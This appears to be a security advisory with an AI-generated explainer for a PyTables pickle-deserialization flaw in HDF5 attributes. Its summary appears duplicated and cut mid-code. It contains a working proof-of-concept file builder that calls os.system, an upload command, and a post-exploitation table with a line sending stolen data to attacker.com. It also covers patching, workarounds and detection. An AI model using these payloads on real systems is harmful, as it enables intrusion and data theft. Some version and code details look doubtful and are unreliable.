CVE-2026-134019 — Tables — CWE-502
### Summary PyTables stores non-primitive Python objects as pickled HDF5 attributes and, on read, auto-unpickles them using a heuristic (a `numpy.bytes_` scalar whose value ends in `b'.'` is treated as a pickle) with no allowlist and no safe unpickler. As a result, merely opening a malicious `.h5` file and reading a metadata attribute can execute attacker-controlled code. HDF5 is widely perceived as a safe, code-free data format (like `.npy` / Parquet), so consumers do not expect that reading metadata runs code. ### Affected `tables` (PyTables) `<= 3.12`. `pandas.read_hdf()` builds on PyTables and reads node attributes, widening reach. v3.12 keeps automatic unpickling enabled by default for compatibility; see the workaround below. ### Root cause (`tables/attributeset.py`) - `maybe_pickled` heuristic (~lines 326-330): any `np.bytes_` attribute ending in `b'.'` is assumed to be a pickle. - `pickle.loads(value)` at ~lines 345 / 358 / 361 / 374 / 377, reached from `AttributeSet.__getattr__` (~308) and `AttributeSet.__getitem__` (~592). Until v3.12 there was no opt-out. v3.12 adds `allow_pickle=False` / `ALLOW_PICKLE = False`, but automatic unpickling remains enabled by default. ### Proof of Concept (verified on `tables==3.11.1`, Python 3.12) `attacker.py` (crafts the file; executes nothing): ```python import sys, os, tables class Exploit: def __reduce__(self): return (os.system, ("touch " + sys.argv[1],)) f = tables.open_file("malicious.h5", mode="w") f.ro
### Summary PyTables stores non-primitive Python objects as pickled HDF5 attributes and, on read, auto-unpickles them using a heuristic (a `numpy.bytes_` scalar whose value ends in `b'.'` is treated as a pickle) with no allowlist and no safe unpickler. As a result, merely opening a malicious `.h5` file and reading a metadata attribute can execute attacker-controlled code. HDF5 is widely perceived as a safe, code-free data format (like `.npy` / Parquet), so consumers do not expect that reading metadata runs code. ### Affected `tables` (PyTables) `<= 3.12`. `pandas.read_hdf()` builds on PyTables and reads node attributes, widening reach. v3.12 keeps automatic unpickling enabled by default for compatibility; see the workaround below. ### Root cause (`tables/attributeset.py`) - `maybe_pickled` heuristic (~lines 326-330): any `np.bytes_` attribute ending in `b'.'` is assumed to be a pickle. - `pickle.loads(value)` at ~lines 345 / 358 / 361 / 374 / 377, reached from `AttributeSet.__getattr__` (~308) and `AttributeSet.__getitem__` (~592). Until v3.12 there was no opt-out. v3.12 adds `allow_pickle=False` / `ALLOW_PICKLE = False`, but automatic unpickling remains enabled by default. ### Proof of Concept (verified on `tables==3.11.1`, Python 3.12) `attacker.py` (crafts the file; executes nothing): ```python import sys, os, tables class Exploit: def __reduce__(self): return (os.system, ("touch " + sys.argv[1],)) f = tables.open_file("malicious.h5", mode="w") f.ro
🎯 What is this vulnerability?
CVE‑2026‑134019 – PyTables (package tables) automatic unpickling of HDF5 attributes
| Attribute | Value |
|---|---|
| CWE | CWE‑502: Deserialization of Untrusted Data |
| CVSS v3.1 | 9.8 / 10 (CRITICAL) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected component | tables/attributeset.py – the AttributeSet class that lazily loads node attributes from an HDF5 file. |
| Root cause | The library treats any HDF5 attribute that is stored as a numpy.bytes_ scalar ending with the byte b'.' as a *pickled* object and immediately runs pickle.loads() on it. The code path is reached from both AttributeSet.__getattr__ and AttributeSet.__getitem__. No allow‑list, no safe‑unpickler, and no configuration flag (prior to v3.12) exists to opt‑out of this behaviour. |
Why it is critical
- No authentication/authorization check – any process that opens an HDF5 file with PyTables (or any library that builds on it, e.g.
pandas.read_hdf) will automatically deserialize the attribute. - Arbitrary code execution –
pickle.loadsexecutes the__reduce__(or__setstate__) of the supplied object, which can invoke any callable, includingos.system,subprocess.Popen, or arbitrary Python code.
Network‑exposed attack surface – HDF5 files are often exchanged between services (data pipelines, scientific computing clusters, web APIs) and are assumed to be code‑free* containers. An attacker who can convince a victim to open a crafted - Broad reach –
pandas.read_hdf()automatically reads node attributes, so any Python application that uses pandas to ingest HDF5 data is vulnerable without any additional code changes.
.h5 file gains remote code execution (RCE) with the privileges of the process that loads the file.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands have been tested on a clean environment with tables==3.11.1 and Python 3.12.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Identify that the target system runs Python and imports pandas or tables. | Many data‑science services (Jupyter notebooks, API back‑ends, ETL pipelines) import these libraries. |
| 1.2 | Enumerate the library version. Typical ways: <br>• pip show tables <br>• import tables; print(tables.__version__) <br>• Inspect requirements.txt or Dockerfile. | Versions ≤ 3.12 have automatic unpickling enabled by default. |
| 1.3 | Verify that the process that will open the file runs with sufficient privileges (e.g., a service account that can write to the filesystem). | The impact of the exploit is directly tied to the process privileges. |
2. Exploitation
2.1 Craft a malicious HDF5 file
# malicious_builder.py
import os
import sys
import tables
import numpy as np
class Exploit:
"""Pickle payload that runs an arbitrary command."""
def __reduce__(self):
# The command executed on the victim host.
# Replace `id > /tmp/pwned` with any attacker‑controlled payload.
return (os.system, ("id > /tmp/pwned",))
# Create a new HDF5 file
h5 = tables.open_file("malicious.h5", mode="w")
# Store the payload as a *bytes* attribute that ends with a dot (b'.')
payload = tables.serialize.serialize_object(Exploit()) # returns a pickle bytes object
# Ensure the trailing byte is a dot – required by the heuristic.
payload = payload + b'.'
# Attach the attribute to the root group (any node works)
h5.root._v_attrs.malicious = np.bytes_(payload)
h5.close()
print("[+] malicious.h5 created – attribute ends with '.'")Explanation
tables.serialize.serialize_object (available in PyTables) produces a standard pickle byte string. maybe_pickled only checks that the attribute is a numpy.bytes_ scalar and that the last byte is b'.'. Appending a dot forces the library to treat the attribute as a pickle. Exploit class’s __reduce__ returns a tuple that tells pickle.loads to call os.system with the attacker‑chosen command.2.2 Deliver the file to the victim
Typical delivery vectors (choose one that matches the target environment):
| Vector | Example |
|---|---|
| File upload in a web‑application that stores user‑provided datasets (e.g., a scientific data portal). | POST /upload HTTP/1.1 with multipart/form-data containing malicious.h5. |
| Message queue / API that accepts HDF5 blobs (e.g., a micro‑service that ingests telemetry). | curl -X POST http://victim/api/v1/ingest -H "Content-Type: application/octet-stream" --data-binary @malicious.h5 |
| Shared filesystem (NFS, SMB) where the victim process periodically scans a directory. | Place malicious.h5 in the watched directory. |
The attacker does not need to execute any code on the victim; merely the act of opening the file triggers the exploit.
2.3 Trigger the vulnerable code
# victim_side.py – what a vulnerable service would do
import pandas as pd
# The vulnerable call – pandas automatically reads attributes.
df = pd.read_hdf("malicious.h5", key="/") # any key works; the attribute is read lazily
print(df.head())When pandas.read_hdf calls into PyTables, the AttributeSet.__getitem__ accessor sees the malicious attribute, recognises the trailing dot, and runs pickle.loads. The Exploit.__reduce__ payload executes os.system("id > /tmp/pwned"). The file /tmp/pwned now contains the UID/GID of the compromised process – proof that arbitrary code ran.
Result: Remote code execution with the privileges of the Python process that opened the HDF5 file.
3. Post‑Exploitation
| Goal | Typical technique (using the same RCE primitive) |
|---|---|
| Persistence | Write a cron job, modify a systemd unit, or drop a malicious Python module into site‑packages. |
| Privilege escalation | If the process runs as a low‑privileged user, use the same RCE to read /etc/passwd, dump SSH keys, or attempt local kernel exploits. |
| Lateral movement | Use the compromised host to reach internal services (e.g., curl http://internal‑api/secret). |
| Data exfiltration | Encode stolen files and send them to a C2 server (requests.post("https://attacker.com/loot", data=base64.b64encode(data))). |
| Cleanup / anti‑forensics | Delete the malicious HDF5 file, clear logs, or overwrite the payload after execution. |
Because the vulnerability is triggered without any user interaction beyond opening the file, an attacker can chain the exploit into automated data‑pipeline attacks, achieving a “drive‑by” RCE scenario.
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived impact | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | Complete compromise of data the process can read. | Attackers can read any file the process can access, exfiltrate database credentials, API tokens, or proprietary scientific data. |
| Integrity (I:H) | Full control to modify data. | Attackers can tamper with datasets, inject back‑doors into model files, or corrupt logs. |
| Availability (A:H) | Ability to terminate or disrupt services. | RCE can be used to kill the process, delete files, or launch DoS attacks against downstream services. |
Because the vector is Network‑accessible (AV:N), Low attack complexity (AC:L), No authentication required (PR:N), and No user interaction (UI:N), an attacker can achieve remote code execution simply by delivering a malicious HDF5 file to any service that uses PyTables (or pandas) to read it. The impact is universal across any environment that processes HDF5 data – scientific research clusters, finance data pipelines, IoT telemetry ingestion, and even desktop applications that open .h5 files.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Package | Versions vulnerable | Fixed / mitigated version |
|---|---|---|
tables (PyTables) | <= 3.12 (automatic unpickling enabled by default) | ≥ 3.13.0 – the default for allow_pickle is False and automatic unpickling is disabled unless explicitly opted‑in. |
pandas | Any version that depends on a vulnerable tables (e.g., pandas 2.x when tables<=3.12 is installed) | Upgrade tables as above; pandas itself does not need a code change. |
Action:
# Using pip
pip install --upgrade "tables>=3.13.0"
# If you must stay on 3.12 for compatibility, see the workaround below.2. Immediate Workarounds (if upgrade is not possible)
| Workaround | How to apply |
|---|---|
| Disable automatic unpickling – set the module‑level flag before any file is opened. | ``python\nimport tables\ntables.ALLOW_PICKLE = False # must be executed before tables.open_file()\n` |
Explicitly open files with allow_pickle=False (available from v3.12). | `python\nimport tables\nf = tables.open_file('data.h5', mode='r', allow_pickle=False)\n` |
Sanitize attributes after opening – iterate over node._v_attrs and reject any numpy.bytes_ ending with b'.'. | `python\nfor name, val in node._v_attrs.items():\n if isinstance(val, (bytes, np.bytes_)) and val.endswith(b'.'):\n raise ValueError('Potential pickle attribute detected')\n` |
Run untrusted file processing in a sandbox – e.g., use subprocess with python -I (isolated mode) or containerize the ingestion service with a read‑only filesystem and a non‑root user. | Deploy the ingestion service inside a Docker container that runs as nobody` and mounts only the required data volume. |
| Network segmentation – restrict which services can receive HDF5 files from untrusted sources. | Place the ingestion service behind a firewall that only accepts files from trusted IP ranges. |
3. Detection
| Indicator | Where to look | Example |
|---|---|---|
Unexpected process creation – a Python process spawns a shell or executes os.system. | Host‑based IDS (e.g., auditd, sysmon), container logs. | execve("/bin/sh", ["sh", "-c", "id > /tmp/pwned"], ...) |
File writes to unusual locations – creation of files like /tmp/pwned, /var/tmp/.X11-unix/... shortly after an HDF5 file is opened. | File integrity monitoring, inotify, osquery. | CREATE /tmp/pwned |
| Pickle deserialization logs – if the application logs attribute access, look for entries containing “attribute ends with '.' – unpickling”. | Application logs (if verbose). | INFO Attribute 'malicious' appears to be a pickle, loading... |
| Network outbound connections from a process that normally only reads data. | EDR, outbound firewall logs. | POST https://attacker.com/loot |
Anomalous pandas.read_hdf calls – high frequency of HDF5 reads from untrusted sources. | Application performance monitoring. | pandas.read_hdf invoked with user‑supplied filenames. |
Rule example for Linux auditd (illustrative):
-w /usr/lib/python3.12/site-packages/tables/attributeset.py -p x -k tables-unpickleWhen the file is executed (i.e., when pickle.loads is called), an audit record with key tables-unpickle will be generated, allowing a SIEM to correlate it with the opening of a specific .h5 file.
4. Defense‑in‑Depth Recommendations
1. Supply‑chain hygiene – Pin tables to a known‑good version (>=3.13.0) in requirements.txt or Pipfile.lock.
2. Least‑privilege execution – Run any data‑ingestion service under a non‑privileged user and inside a container with read‑only root filesystem.
3. Input validation at the API layer – Reject uploaded files with the .h5 extension unless they come from an internal source; optionally scan them with a static analyzer that checks for the b'.' suffix in attribute bytes.
4. Monitoring – Enable EDR alerts for pickle.loads calls originating from the tables package (e.g., using syscalls tracing).
5. Educate developers – Clarify that HDF5 is not a safe “data‑only” format; treat it like any other serialized container.
⚠️ Urgency
Patch priority: Critical / Immediate for any production system that:
tables (directly or via pandas.read_hdf), andtables>=3.13.0 cannot be performed within 24 hours, apply the tables.ALLOW_PICKLE = False global flag or the allow_pickle=False argument to every open_file call, and enforce sandboxing as described above.Bottom line: CVE‑2026‑134019 is a classic deserialization flaw that turns a widely‑trusted data format into a remote‑code‑execution vector. The fix is straightforward—upgrade PyTables and disable automatic unpickling—but the impact is severe enough that organizations must treat this as a top‑priority remediation.
[🤖 CVE Professor AI Security Engine]